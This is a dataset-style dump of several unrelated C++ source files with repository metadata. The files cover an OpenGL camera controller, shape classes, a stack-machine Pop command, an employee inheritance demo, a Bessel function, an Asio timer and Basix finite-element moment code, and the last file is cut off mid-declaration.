(Input::IsKeyPressed(GLFW_KEY_LEFT_CONTROL)) { m_camPos.y -= m_cameraVerticalMoveSpeed * Time::GetDeltaTime(); } } //pressing the R key resets the transform of the camera //and it's vertical FOV as required if (Input::IsKeyPressed(GLFW_KEY_R)) { ResetCamera(); } //update camera transform camTransform = glm::lookAt(m_camPos, m_camPos + m_lookDir, m_camUp); } glm::vec3 GetCamPos() const { return m_camPos; } /*handles scroll events and zooms in and out depending on the input provided allows the user to zoom in and out as required by the assignment */ virtual bool HandleScrollEvent(double xScroll, double yScroll) override { auto cam = Application::GetCamera(); //only change the FOV if currently using perspective projection (for the assignment //the camera will always remain in perspective projection) if (cam->GetProjectionType() == Camera::ProjectionType::Perspective) { cam->SetPerspectiveVerticalFOV(yScroll * Time::GetDeltaTime() + cam->GetPerspectiveVerticalFOV()); } return true; } private: void ResetCamera() { Application::GetCamera()->SetPerspectiveVerticalFOV(m_defaultVerticalFOV); m_camPos = { 0, 0, 0 }; m_yRotation = 90.0f; m_upRotation = 0.0f; m_lookDir = { 0, 0, -1 }; } //common function for mouse and keyboard (single axis) to change look direction void ApplyLookDisplacement(glm::vec2 displacement) { m_yRotation -= displacement.x * m_cameraRotationSpeed * Time::GetDeltaTime(); m_upRotation -= displacement.y * m_cameraRotationSpeed * Time::GetDeltaTime(); m_upRotation = Clamp(m_upRotation, -m_verticalClamp, m_verticalClamp); if (m_yRotation > 360) { m_yRotation -= 360; } else if (m_yRotation < 0) { m_yRotation += 360; } //convert rotations into radians float theta = glm::radians(m_yRotation); float phi = glm::radians(m_upRotation); //update look direction m_lookDir = glm::vec3(cosf(phi) * cosf(theta), sinf(phi), -cosf(phi) * sinf(theta)); } float Clamp(float value, float min, float max) { if (value < min) { return min; } else if (value > max) { return max; } return value; } float m_cameraMoveSpeed = 15.0f; float m_cameraVerticalMoveSpeed = m_cameraMoveSpeed; float m_cameraRotationSpeed = 10.0f; float m_verticalClamp = 89.0f; bool m_mouseIsLocked = true; glm::vec2 m_lastMousePos; //zoom default settings float m_defaultVerticalFOV; float m_yRotation = 90.0f; float m_upRotation = 0.0f; glm::vec3 m_lookDir = { 0, 0, -1 }; glm::vec3 m_camPos = { 0, 0, 0 }; glm::vec3 m_camUp = { 0,1,0 }; bool isOn = true; };
true
fd397223eff19352417b5f568c589eae7aeed403
C++
iangeos/oop
/Shape.h
UTF-8
821
3.3125
3
[]
no_license
const double PI = 3.14159; // virtual function: can be overriden in child classes // Interface: contains only virtual functions. Only definition, not implementation // Abstract: contains at least 1 virtual function. It can be instantiated. // A class can inherit only 1 abstract but >1 interfaces. It can be instantiated. Definition ends with ';' // Inheritance: single colon ':' class Shape { public: virtual double area() const = 0; virtual double perimeter() const = 0; }; class Circle : public Shape { private: double radius; public: Circle(double R); virtual double area() const; virtual double perimeter() const; }; class Rectangle : public Shape { private: double rl, rw; public: Rectangle(double L, double W); virtual double area() const; virtual double perimeter() const; }; // class Square
true
6d9f428d3de108363f603ed95c3fad99401aa952
C++
Ta3ikNSU/lab3Sem
/lab2/Operation/Pop.cpp
UTF-8
499
2.515625
3
[]
no_license
// // Created by Ta3ik on 03.12.2020. // #include "Pop.h" #include "../Factory/OperationMaker.h" REGISTER_OPERATION(Pop, POP); #include "../Exceptions/arg_command_error.h" #include "../Exceptions/stack_error.h" void Pop::execute(std::list<std::string> &arg, Context & ctx) const { if (arg.size() != 0) throw arg_command_error("command doesn't need additional arguments"); else { if(ctx.stackSize() > 0) ctx.pop(); else throw stack_error("stack is empty"); } }
true
80a84bd7abaaba4e6f545f926e4df12943d9c36c
C++
abhicse32/Codechef-Solutions
/SALARY.cpp
UTF-8
483
2.71875
3
[]
no_license
#include <stdio.h> #include <algorithm> #define gc getchar_unlocked inline int fastRead(){ int num=0; char ch=gc(); while(ch < 48) ch=gc(); while(ch>47){ num=(num<<1)+(num<<3)+ ch- 48; ch=gc(); } return num; } int main(){ int T,N,sum,M,i; int arr[101]; T= fastRead(); while(T--){ N=fastRead(); for(i=0; i< N; i++) arr[i]= fastRead(); sum=0; std::sort(arr, arr+N); for(i=1, M=N; i< N;i++){ --M; sum+=(arr[i]- arr[i-1])*M; } printf("%d\n",sum); } }
true
d6bf89033d516ddfcf00a4dc9e2881265dfe7a48
C++
kundantajne/TestGit
/Program/C++ prog/inheri/Inheritance/Inheritance/InheritanceDemo.cpp
UTF-8
4,704
3.5625
4
[]
no_license
#include<iostream> using namespace std; #include<stdio.h> class Employe { int id; char name[20]; double salary; public: Employe() //Default constructor { printf("\n Default constructor of Employe call"); //cout << constuctor of employe call; id = 100; strcpy(name, "Not Given"); salary = 10000; } Employe(int i, char*nm, double s) //Parameterized Constructor ////Pass the parameter for parameterised constructor { printf("\n parametrised constructor of Employe call"); id = i; strcpy(name, nm); salary = s; } void setid(int a) { id = a; } void setname(char*nm) { strcpy(name, nm); } void setsalary(double c) { salary = c; } double getsalary() { return salary; } char* getName() { return name; } virtual void display() { printf("\n Id is : %d,\n Name is:%s,\n Salary is:%lf", this->id, this->name, this->salary); } virtual double calsal() { return this->salary; } }; class SalesManager :public Employe //(:)Is a realtionship { double Incentive; int Target; public: SalesManager() //Default constructor { printf("\n Default Constructor of SM call"); /*Incentive = 5000; Target = 20;*/ } SalesManager(int i, char*nm, double s, double inc, int t)/*Defnation*/ : Employe(i, nm, s) //call without datatypr (Emp)This is know as Parameterized initialisation list // (:) to dfferentiate the defination and call ////Pass the parameter for parameterised constructor { printf("\n parametrised OF SM constructor"); Incentive = inc; Target = t; } void setIncentive(double a) { Incentive = a; } void setTarget(int u) { Target = u; } int getIncentive() { return Incentive; } void display() { Employe::display(); printf("\n Incentive is:%lf,\n Target:%d", Incentive, Target); printf("\n"); } double calsal() { return this->getsalary(); } }; class HR_Manager :public Employe { double comission; public: HR_Manager()//Default constructor { printf("\n Default Constructor of HR"); comission = 5000; } HR_Manager(int i, char*nm, double s, double cm)/*Defnation*/ : Employe(i, nm, s) //Parameterized Constructor ////Pass the parameter for parameterised constructor { printf("\n Parametried of HR Manager"); comission = cm; } void setcomission(double cm) { comission = cm; } void display() { Employe::display(); printf("\n Commision of HR Manager:%lf", comission); printf("\n"); } double calsal() { return this->getsalary(); } }; class Admin :public Employe { double Allowance; public: Admin()//Default constructor { printf("\n Default Constructor of Admin"); Allowance = 200; } Admin(int i, char*nm, double s, double al)/*Defnation*/ : Employe(i, nm, s) //Parameterized Constructor ////Pass the parameter for parameterised constructor { printf("\n Parametried of Admin"); Allowance = al; } void setAllowance(double al) { Allowance = al; } double getAllowance() { return Allowance; } void display() { Employe::display(); printf("\n Allowance of Admin:%lf", Allowance); printf("\n"); } /*double calsal() { return this->getsalary(); }*/ }; /*void main() { SalesManager s1; SalesManager s2(103, "name", 20000, 200, 30); HR_Manager h1; HR_Manager h2(11, "kundan", 30000, 3000); Admin a1; Admin a2(12, "IT Dept", 40000, 1000); s1.display(); s2.display(); h1.display(); h2.display(); a1.display(); a2.display(); }*/ void AllempDetails(Employe *); void main() { /* Employe *ep; Employe e1(101, "kundan", 2000); ep = &e1; ep->display(); printf("\ calculated salay is:%lf", ep->calsal()); SalesManager *sa; SalesManager s2(103, "name", 20000, 200, 30); ep = &s2; ep->display(); //cout << "\n"; HR_Manager *hr; HR_Manager h2(11, "kundan", 30000, 30); ep = &h2; ep->display(); Admin *ap; Admin a2(12, "IT Dept", 40000, 100); ep = &a2; ep->display(); printf("admin calsal: %lf", ep->calsal()); */ SalesManager s1(100, "tushar", 30000, 300,30); AllempDetails(&s1); Admin a1(101, "Kundan",30000,300); AllempDetails(&a1); } void AllempDetails(Employe *ep) { printf("\nName", ep->getName()); if (strcmp("class SalesManager",typeid(*ep).name())==0) { SalesManager *sp = (SalesManager*)ep; printf("\nIncentive", sp->getIncentive()); } if (strcmp("class Admin", typeid(*ep).name()) == 0) { Admin *ap = (Admin*)ep; printf("\nAllow", ap->getAllowance()); } } void AllempDetails(Employe *ep) { cout << "\n Name oF emp :" << ep->getName(); SalesManager *sp = dynamic_cast<SalesManager*>(ep); if (sp!=NULL) { printf("\nIncentive", sp->getIncentive()); } Admin *ap = dynamic_cast<Admin*>(ep); if (ap!=NULL) { printf("\nAllow", ap->getAllowance()); } }
true
c4bb035185f67922cf033db5476a86188f284194
C++
kallemov/VMFPolymer
/vmf/newbessel.cc
UTF-8
2,271
2.578125
3
[]
no_license
// File: newbessel.cc // Author: Suvrit Sra <suvrit@cs.utexas.edu> // (c) Copyright 2006,2007 Suvrit Sra // The University of Texas at Austin // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. #include "newbessel.h" // Just use the powerseries of I_s[x] and truncate #define HALF_E to_RR("1.35914091422952") #define HALF_ED 1.35914091422952 #define INV_2ROOTPI to_RR("0.39894228040143") #define TOL to_RR("1e-30") RR BesselI(double& s, double& x) { if (x == 0) return to_RR("0.0"); if (s == 0) return to_RR("1.0"); RR scale_term; RR srr = to_RR(s); scale_term = pow ( to_RR(HALF_ED*x / s), srr); RR tmp; tmp = 1 + 1.0/(12*s) + 1.0/(288*s*s) - 139.0/(51840*s*s*s); scale_term *= sqrt(s) * INV_2ROOTPI / tmp; double ratio; RR tol = TOL; RR aterm; aterm = 1.0/s; RR sum; sum = aterm; int k = 1; while (true) { ratio = ((0.25*x*x) / (k * (s+k))); aterm *= ratio; if (aterm < tol*sum) break; sum += aterm; ++k; } sum *= scale_term; return sum; } RR BesselI(RR& s, RR& x) { if (x == 0) return to_RR("0.0"); if (s == 0) return to_RR("1.0"); RR scale_term; RR tol; tol = TOL; scale_term = pow ( HALF_E*x / s, s); RR tmp; tmp = 1 + 1.0/(12*s) + 1.0/(288*s*s) - 139.0/(51840*s*s*s); scale_term *= sqrt(s) * INV_2ROOTPI / tmp; //std::cerr << "scale term = " << scale_term << "\n"; // Now do the series computation ... RR aterm; aterm = 1.0/s; RR sum; sum = aterm; int k = 1; while (true) { aterm *= ((0.25*x*x) / (k * (s+k))); if (aterm / sum < tol) break; sum += aterm; ++k; } sum *= scale_term; return sum; }
true
e51f1abb51d43fd9ae04fb3c549927cb4f12c5ec
C++
NKSG/c_learning_record
/cc150/1.3.cc
UTF-8
900
3.421875
3
[]
no_license
#include <iostream> #include <algorithm> #include <string> #include <array> /* std::string sort(const std::string &s){ std::string temp(s); std::sort(temp.begin(),temp.end()); return temp; } */ bool permutation(std::string s1, std::string s2){ if(s1.size()!=s2.size()) return false; /* std::string s1_new = sort(s1); std::string s2_new = sort(s2); */ std::sort(s1.begin(),s1.end()); std::sort(s2.begin(),s2.end()); return std::equal(s1.begin(),s1.end(),s2.begin()); } bool permutation2(std::string s1, std::string s2){ if(s1.size()!=s2.size()) return false; std::array<int,256> a={0}; for(auto c : s1){ a[c]++; } for(auto c : s2){ if(--a[c]<0) return false; } return true; } int main(){ std::string s1("i am a dogd"); std::string s2("goa d mai c"); std::cout<<permutation2(s1,s2)<<std::endl; }
true
9918f8560da5c64abd8ff1e24bab5ecb949b2bf3
C++
bluwireless/LuaChat
/src/actions/lua_chat_action_timer.hpp
UTF-8
2,387
2.96875
3
[ "MIT" ]
permissive
/** * bwt_mcm_action_timer.hpp * * The Timer action allows the user to wait for a given duration. Lua simply * polls the object to discover whether the timer has fired. The action allows * for non-blocking and blocking waits. * * Copyright © Blu Wireless. All Rights Reserved. * Licensed under the MIT license. See LICENSE file in the project. * Feedback: james.pascoe@bluwireless.com */ #pragma once #include "asio/asio.hpp" #include <memory> #include <mutex> #include <thread> class Timer { public: enum class WaitType { NOBLOCK, BLOCK, }; // Constructs a timer Timer(); // Cleans up after a timer ~Timer(); // Do not allow copying or moving a Timer object Timer(Timer const&) = delete; Timer& operator=(Timer const&) = delete; Timer(Timer&&) = delete; Timer& operator=(Timer&&) = delete; // Invoke the timer using for the given duration void operator()(WaitType const waitType, int const duration, std::string const& timeUnit, int notifyId); // Cancel a running timer unsigned int Cancel(); // Check if the timer is waiting bool IsWaiting() const { return m_waiting; } // Check if the timer has expired bool HasExpired() const { return m_expired; } private: using work = asio::executor_work_guard<asio::io_context::executor_type>; asio::io_context m_ctx; asio::steady_timer m_timer; // This prevents the context's run() call from returning when it has no // handlers to execute and grants us control over when that happens via the // unique_ptr. std::unique_ptr<work> m_work; // The thread to execute the timer handlers std::thread m_workerThread; // Mutex to make sure all timer state transitions are atomic std::mutex m_timerMutex; // Flag indicating whether the timer is waiting bool m_waiting = false; // Flag indicating whether the timer has fired bool m_expired = false; // Notification ID to return to the caller via the callback int m_notifyId = 0; // The function the thread will run void threadRoutine() { m_ctx.run(); } // Function to be executed when the timer expires or is cancelled void timerHandler(asio::error_code const& error); // Sets state variables to indicate that the timer is no longer running void expire(); // Sets state variables to indicate that the timer has been cancelled void cancel(); };
true
cd8d7fe695d53ee0da8561f1acc48c03cc7c7392
C++
franklee26/CS24
/csproj/main.cpp
UTF-8
542
2.96875
3
[]
no_license
#include "node.h" #include "list.h" #include "expression.h" #include <iostream> #include <string> int main(){ string work="(((x+3)+((x*2)/(x-3)))*((x+7)-((x+2)*(x/2))))"; string easy="((x-9)/((x+3)*(x-7)))"; list l(work); list g(easy); node* head=l.gethead(); head=head->getnextleft(head); std::cout<<head->getoperator()<<std::endl; head=head->getparent(); std::cout<<head->getoperator()<<std::endl; expression x; std::cout<<x.infixstring(l.gethead()); expression y; std::cout<<y.infixstring(g.gethead()); return 0; }
true
6c6e697c457825a952fbeb61d03295d185cd5d5b
C++
sojung127/bookish-telegram
/Algorithm_graph/Algorithm_graph/lan.cpp
UTF-8
637
2.75
3
[]
no_license
#include <iostream> #include <cstdio> #include <algorithm> #include <vector> using namespace std; int main() { int k, n; scanf("%d %d", &k, &n); vector<int> line(k); for (int i = 0; i < k; i++) { scanf("%d", &line[i]); } long long len = 0; for (auto a : line) len += a; // long left = 1; long right = *max_element(line.begin(), line.end()); int max = 0; while (left <= right) { int cnt = 0; long long mid = (left + right) / 2; for (auto a : line) { cnt += a / mid; } if (cnt >= n) { if (max < mid) max = mid; left = mid + 1; } else { right = mid - 1; } } cout << max; return 0; }
true
2695557ac19c0c744afa581036304565913cc920
C++
hitwlh/leetcode
/98_Validate_Binary_Search_Tree/solution.cpp
UTF-8
621
3.046875
3
[]
no_license
/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: bool isValidBST(TreeNode* root) { show(root); return ret; } private: bool ret = true; bool flag = true; long long mi = LLONG_MIN; void show(TreeNode* root){ if(!root) return; show(root->left); long long re = root->val; if(mi < re) mi = re; else ret = false; show(root->right); } };
true
648d5fc24af1d4d0330d6a775d0a0f7aa3c91095
C++
gautamshah6/Coding_Blocks_Solution-c-
/class_assignment.cpp
UTF-8
354
3.015625
3
[]
no_license
#include<bits/stdc++.h> using namespace std; int solution(int a) { if(a==1) return 2; if(a==2) return 3; int ans=solution(a-1)+solution(a-2); return ans; } int main() { int n; cin>>n; int *a=new int [n]; for(int i=0;i<n;i++) { cin>>a[i]; cout<<"#"<<a[i]<<" : "<<solution(a[i])<<endl; } return 0; }
true
2f2d4a84c133f2a4b56ac438de8d6c56d03f9b7d
C++
baubs/Sudoku
/Part3/Sudoku.cpp
UTF-8
769
3.328125
3
[]
no_license
//Brandon Aubrey //Driver for templated sudoku puzzle //2/24/2015 #include <iostream> #include <string> #include "Puzzle.h" using namespace std; int main() { Puzzle<int> sudoku("sudoku.txt"); sudoku.display(); cout << endl; int val = '1'; int row, col; while(val != '0' && !sudoku.finished()) { cout << "Type number you wish to place (1-9) or 0 to quit: "; cin >> val; if(val == 0) break; else if(val > 0 && val <= 9) { cout << endl << "Enter (row col) both in range 0-8:"; cin >> row >> col; if(row < 0 || col < 0 || row > 8 || col > 8) { cout << "Invlaid coord" << endl; } else sudoku.inputValue(val, row, col); } sudoku.display(); cout << endl; } return 0; }
true
a76ed9d9c78e9484c3db4562cc93c827ad798581
C++
dmgardiner25/CS-Classes
/C++/CS1580/Lab10/lab10_functions.cpp
UTF-8
1,099
3.3125
3
[]
no_license
/* Programmer: David Gardiner, 12447993 Instructor: Rushiraj Section: E Date: 10/26/16 File: lab10_functions.cpp Description: Function defintions to encrypt a given name using an NTCA. */ #include <iostream> #include <cctype> #include "lab10.h" using namespace std; void greeting() { cout << "Welcome to the Enigma Machine 2.0, now with less security!" << endl; return; } void getInput(char arr[]) { cout << "\n\nEnter your name: "; cin.getline(arr, DATA_SIZE-1); return; } void encrypt(char arr[]) { bool nullFound = false; short i = 0; short ASCIIVal; while(!nullFound) { ASCIIVal = arr[i]; if(arr[i] == 0) nullFound = true; else if(isalpha(arr[i])) { if(isupper(ASCIIVal) && ASCIIVal < 88) arr[i] = ASCIIVal + 3; else if(islower(ASCIIVal) && ASCIIVal < 120) arr[i] = ASCIIVal + 3; else arr[i] = ASCIIVal - 23; } i++; } return; } void showOutput(char arr[]) { cout << arr << endl; return; } void signoff() { cout << "\n\nThank you for using the budget Enigma Machine!" << endl; return; }
true
85d316444537b6938542fabcd8fa900ea06b68a1
C++
FEniCS/basix
/cpp/basix/moments.cpp
UTF-8
19,987
2.59375
3
[ "MIT" ]
permissive
// Copyright (c) 2020 Chris Richardson & Matthew Scroggs // FEniCS Project // SPDX-License-Identifier: MIT #include "moments.h" #include "cell.h" #include "finite-element.h" #include "math.h" #include "quadrature.h" using namespace basix; namespace { namespace stdex = std::experimental; template <typename T, std::size_t d> using mdspan_t = stdex::mdspan<T, stdex::dextents<std::size_t, d>>; template <typename T, std::size_t d> using mdarray_t = stdex::mdarray<T, stdex::dextents<std::size_t, d>>; //---------------------------------------------------------------------------- std::vector<int> axis_points(const cell::type celltype) { switch (celltype) { case cell::type::interval: return {1}; case cell::type::triangle: return {1, 2}; case cell::type::quadrilateral: return {1, 2}; case cell::type::tetrahedron: return {1, 2, 3}; case cell::type::hexahedron: return {1, 2, 4}; default: throw std::runtime_error( "Integrals of this entity type not yet implemented."); } } //---------------------------------------------------------------------------- /// Map points defined on a cell entity into the full cell space /// @param[in] celltype0 Parent cell type /// @param[in] celltype1 Sub-entity of `celltype0` type /// @param[in] x Coordinates defined on an entity of type `celltype1` /// @return (0) Coordinates of points in the full space of `celltype1` /// (the shape is (num_entities, num points per entity, tdim of /// celltype0) and (1) local axes on each entity (num_entities, /// entity_dim, tdim). template <std::floating_point T> std::pair<std::vector<mdarray_t<T, 2>>, mdarray_t<T, 3>> map_points(const cell::type celltype0, const cell::type celltype1, mdspan_t<const T, 2> x) { const std::size_t tdim = cell::topological_dimension(celltype0); std::size_t entity_dim = cell::topological_dimension(celltype1); std::size_t num_entities = cell::num_sub_entities(celltype0, entity_dim); std::vector<mdarray_t<T, 2>> p(num_entities, mdarray_t<T, 2>(x.extent(0), tdim)); mdarray_t<T, 3> axes(num_entities, entity_dim, tdim); const std::vector<int> axis_pts = axis_points(celltype0); for (std::size_t e = 0; e < num_entities; ++e) { // Get entity geometry const auto [entity_buffer, eshape] = cell::sub_entity_geometry<T>(celltype0, entity_dim, e); mdspan_t<const T, 2> entity_x(entity_buffer.data(), eshape); // Axes on the cell entity for (std::size_t i = 0; i < axes.extent(1); ++i) for (std::size_t j = 0; j < axes.extent(2); ++j) axes(e, i, j) = entity_x(axis_pts[i], j) - entity_x(0, j); // Compute x = x0 + \Delta x std::vector<T> axes_b(axes.extent(1) * axes.extent(2)); mdspan_t<T, 2> axes_e(axes_b.data(), axes.extent(1), axes.extent(2)); for (std::size_t i = 0; i < axes_e.extent(0); ++i) for (std::size_t j = 0; j < axes_e.extent(1); ++j) axes_e(i, j) = axes(e, i, j); std::vector<T> dxbuffer(x.extent(0) * axes_e.extent(1)); mdspan_t<T, 2> dx(dxbuffer.data(), x.extent(0), axes_e.extent(1)); math::dot(x, axes_e, dx); for (std::size_t i = 0; i < p[e].extent(0); ++i) for (std::size_t j = 0; j < p[e].extent(1); ++j) p[e](i, j) = entity_x(0, j) + dx(i, j); } return {p, axes}; } //---------------------------------------------------------------------------- } // namespace //----------------------------------------------------------------------------- template <std::floating_point T> std::tuple<std::vector<std::vector<T>>, std::array<std::size_t, 2>, std::vector<std::vector<T>>, std::array<std::size_t, 4>> moments::make_integral_moments(const FiniteElement<T>& V, cell::type celltype, polyset::type ptype, std::size_t value_size, int q_deg) { const cell::type sub_celltype = V.cell_type(); const std::size_t entity_dim = cell::topological_dimension(sub_celltype); if (entity_dim == 0) throw std::runtime_error("Cannot integrate over a dimension 0 entity."); const std::size_t num_entities = cell::num_sub_entities(celltype, entity_dim); // Get the quadrature points and weights const auto [_pts, wts] = quadrature::make_quadrature<T>( quadrature::type::Default, sub_celltype, polyset::superset(sub_celltype, V.polyset_type(), polyset::restriction(ptype, celltype, sub_celltype)), q_deg); mdspan_t<const T, 2> pts(_pts.data(), wts.size(), _pts.size() / wts.size()); // Evaluate moment space at quadrature points assert(std::accumulate(V.value_shape().begin(), V.value_shape().end(), 1, std::multiplies{}) == 1); const auto [phib, phishape] = V.tabulate(0, pts); mdspan_t<const T, 4> phi(phib.data(), phishape); // Pad out \phi moment is against a vector-valued function const std::size_t vdim = value_size == 1 ? 1 : entity_dim; // Storage for the interpolation matrix const std::size_t num_dofs = vdim * phi.extent(2); const std::array<std::size_t, 4> Dshape = {num_dofs, value_size, pts.extent(0), 1}; const std::size_t size = std::reduce(Dshape.begin(), Dshape.end(), 1, std::multiplies{}); std::vector<std::vector<T>> Db(num_entities, std::vector<T>(size)); std::vector<mdspan_t<T, 4>> D; // Map quadrature points onto facet (cell entity e) const auto [points, axes] = map_points(celltype, sub_celltype, pts); // -- Compute entity integral moments // Iterate over cell entities if (value_size == 1) { for (std::size_t e = 0; e < num_entities; ++e) { mdspan_t<T, 4>& _D = D.emplace_back(Db[e].data(), Dshape); for (std::size_t i = 0; i < phi.extent(2); ++i) for (std::size_t j = 0; j < wts.size(); ++j) _D(i, 0, j, 0) = phi(0, j, i, 0) * wts[j]; } } else { for (std::size_t e = 0; e < num_entities; ++e) { mdspan_t<T, 4>& _D = D.emplace_back(Db[e].data(), Dshape); // Loop over each 'dof' on an entity (moment basis function index) for (std::size_t i = 0; i < phi.extent(2); ++i) { // TODO: Pad-out phi and call a updated // make_dot_integral_moments // FIXME: This assumed that the moment space has a certain // mapping type for (std::size_t d = 0; d < entity_dim; ++d) { // TODO: check that dof index is correct const std::size_t dof = i * entity_dim + d; for (std::size_t j = 0; j < value_size; ++j) for (std::size_t k = 0; k < wts.size(); ++k) _D(dof, j, k, 0) = phi(0, k, i, 0) * wts[k] * axes(e, d, j); } } } } const std::array<std::size_t, 2> pshape = {points.front().extent(0), points.front().extent(1)}; std::vector<std::vector<T>> pb; for (const mdarray_t<T, 2>& p : points) pb.emplace_back(p.data(), p.data() + p.size()); return {pb, pshape, Db, Dshape}; } //---------------------------------------------------------------------------- template <std::floating_point T> std::tuple<std::vector<std::vector<T>>, std::array<std::size_t, 2>, std::vector<std::vector<T>>, std::array<std::size_t, 4>> moments::make_dot_integral_moments(const FiniteElement<T>& V, cell::type celltype, polyset::type ptype, std::size_t value_size, int q_deg) { const cell::type sub_celltype = V.cell_type(); const std::size_t entity_dim = cell::topological_dimension(sub_celltype); const std::size_t num_entities = cell::num_sub_entities(celltype, entity_dim); const auto [_pts, wts] = quadrature::make_quadrature<T>( quadrature::type::Default, sub_celltype, polyset::superset(sub_celltype, V.polyset_type(), polyset::restriction(ptype, celltype, sub_celltype)), q_deg); mdspan_t<const T, 2> pts(_pts.data(), wts.size(), _pts.size() / wts.size()); // If this is always true, value_size input can be removed assert(std::size_t(cell::topological_dimension(celltype)) == value_size); // Evaluate moment space at quadrature points const auto [phib, phishape] = V.tabulate(0, pts); mdspan_t<const T, 4> phi(phib.data(), phishape); assert(phi.extent(3) == entity_dim); // Note: // Number of quadrature points per entity: phi.extent(0) // Dimension of the moment space on each entity: phi.extent(1) // Value size of the moment function: phi.extent(2) // Map quadrature points onto facet (cell entity e) const auto [points, axes] = map_points(celltype, sub_celltype, pts); // Shape (num dofs, value size, num points) const std::array<std::size_t, 4> Dshape = {phi.extent(2), value_size, pts.extent(0), 1}; const std::size_t size = std::reduce(Dshape.begin(), Dshape.end(), 1, std::multiplies{}); std::vector<std::vector<T>> Db(num_entities, std::vector<T>(size)); std::vector<mdspan_t<T, 4>> D; // Compute entity integral moments // Iterate over cell entities for (std::size_t e = 0; e < num_entities; ++e) { mdspan_t<T, 4>& _D = D.emplace_back(Db[e].data(), Dshape); // Loop over each 'dof' on an entity (moment basis function index) for (std::size_t dof = 0; dof < phi.extent(2); ++dof) { // Loop over value size of function to which moment function is // applied for (std::size_t j = 0; j < value_size; ++j) { // Loop over value topological dimension of cell entity (which // is equal to phi.extent(3)) for (std::size_t d = 0; d < phi.extent(3); ++d) { // Add quadrature point on cell entity contributions for (std::size_t k = 0; k < wts.size(); ++k) _D(dof, j, k, 0) += wts[k] * phi(0, k, dof, d) * axes(e, d, j); } } } } const std::array<std::size_t, 2> pshape = {points.front().extent(0), points.front().extent(1)}; std::vector<std::vector<T>> pb; for (const mdarray_t<T, 2>& p : points) pb.emplace_back(p.data(), p.data() + p.size()); return {pb, pshape, Db, Dshape}; } //---------------------------------------------------------------------------- template <std::floating_point T> std::tuple<std::vector<std::vector<T>>, std::array<std::size_t, 2>, std::vector<std::vector<T>>, std::array<std::size_t, 4>> moments::make_tangent_integral_moments(const FiniteElement<T>& V, cell::type celltype, polyset::type ptype, std::size_t value_size, int q_deg) { const cell::type sub_celltype = V.cell_type(); const std::size_t entity_dim = cell::topological_dimension(sub_celltype); const std::size_t num_entities = cell::num_sub_entities(celltype, entity_dim); const std::size_t tdim = cell::topological_dimension(celltype); // If this is always true, value_size input can be removed assert(tdim == value_size); if (entity_dim != 1) throw std::runtime_error("Tangent is only well-defined on an edge."); const auto [_pts, wts] = quadrature::make_quadrature<T>( quadrature::type::Default, cell::type::interval, polyset::superset(sub_celltype, V.polyset_type(), polyset::restriction(ptype, celltype, sub_celltype)), q_deg); mdspan_t<const T, 2> pts(_pts.data(), wts.size(), _pts.size() / wts.size()); // Evaluate moment space at quadrature points assert(std::accumulate(V.value_shape().begin(), V.value_shape().end(), 1, std::multiplies{}) == 1); const auto [phib, phishape] = V.tabulate(0, pts); mdspan_t<const T, 4> phi(phib.data(), phishape); const std::array<std::size_t, 2> pshape = {pts.extent(0), tdim}; std::vector<std::vector<T>> pb; const std::array<std::size_t, 4> Dshape = {phi.extent(2), value_size, phi.extent(1), 1}; const std::size_t size = std::reduce(Dshape.begin(), Dshape.end(), 1, std::multiplies{}); std::vector<std::vector<T>> Db(num_entities, std::vector<T>(size)); std::vector<mdspan_t<T, 4>> D; // Iterate over cell entities for (std::size_t e = 0; e < num_entities; ++e) { const auto [ebuffer, eshape] = cell::sub_entity_geometry<T>(celltype, 1, e); mdspan_t<const T, 2> edge_x(ebuffer.data(), eshape); std::vector<T> tangent(edge_x.extent(1)); for (std::size_t i = 0; i < edge_x.extent(1); ++i) tangent[i] = edge_x(1, i) - edge_x(0, i); // No need to normalise the tangent, as the size of this is equal to // the integral Jacobian // Map quadrature points onto triangle edge auto& _pb = pb.emplace_back(pshape[0] * pshape[1]); mdspan_t<T, 2> _p(_pb.data(), pshape); for (std::size_t i = 0; i < pts.extent(0); ++i) for (std::size_t j = 0; j < _p.extent(1); ++j) _p(i, j) = edge_x(0, j) + pts(i, 0) * tangent[j]; // Compute edge tangent integral moments mdspan_t<T, 4>& _D = D.emplace_back(Db[e].data(), Dshape); for (std::size_t i = 0; i < phi.extent(2); ++i) { for (std::size_t j = 0; j < value_size; ++j) for (std::size_t k = 0; k < wts.size(); ++k) _D(i, j, k, 0) = phi(0, k, i, 0) * wts[k] * tangent[j]; } } return {pb, pshape, Db, Dshape}; } //---------------------------------------------------------------------------- template <std::floating_point T> std::tuple<std::vector<std::vector<T>>, std::array<std::size_t, 2>, std::vector<std::vector<T>>, std::array<std::size_t, 4>> moments::make_normal_integral_moments(const FiniteElement<T>& V, cell::type celltype, polyset::type ptype, std::size_t value_size, int q_deg) { const std::size_t tdim = cell::topological_dimension(celltype); assert(tdim == value_size); const cell::type sub_celltype = V.cell_type(); const std::size_t entity_dim = cell::topological_dimension(sub_celltype); const std::size_t num_entities = cell::num_sub_entities(celltype, entity_dim); if (static_cast<int>(entity_dim) != static_cast<int>(tdim) - 1) throw std::runtime_error("Normal is only well-defined on a facet."); // Compute quadrature points for evaluating integral const auto [_pts, wts] = quadrature::make_quadrature<T>( quadrature::type::Default, sub_celltype, polyset::superset(sub_celltype, V.polyset_type(), polyset::restriction(ptype, celltype, sub_celltype)), q_deg); mdspan_t<const T, 2> pts(_pts.data(), wts.size(), _pts.size() / wts.size()); // Evaluate moment space at quadrature points assert(std::accumulate(V.value_shape().begin(), V.value_shape().end(), 1, std::multiplies{}) == 1); const auto [phib, phishape] = V.tabulate(0, pts); mdspan_t<const T, 4> phi(phib.data(), phishape); // Storage for coordinates of evaluations points in the reference cell const std::array<std::size_t, 2> pshape = {pts.extent(0), tdim}; std::vector<std::vector<T>> pb; // Storage for interpolation matrix const std::array<std::size_t, 4> Dshape = {phi.extent(2), value_size, phi.extent(1), 1}; const std::size_t size = std::reduce(Dshape.begin(), Dshape.end(), 1, std::multiplies{}); std::vector<std::vector<T>> Db(num_entities, std::vector<T>(size)); std::vector<mdspan_t<T, 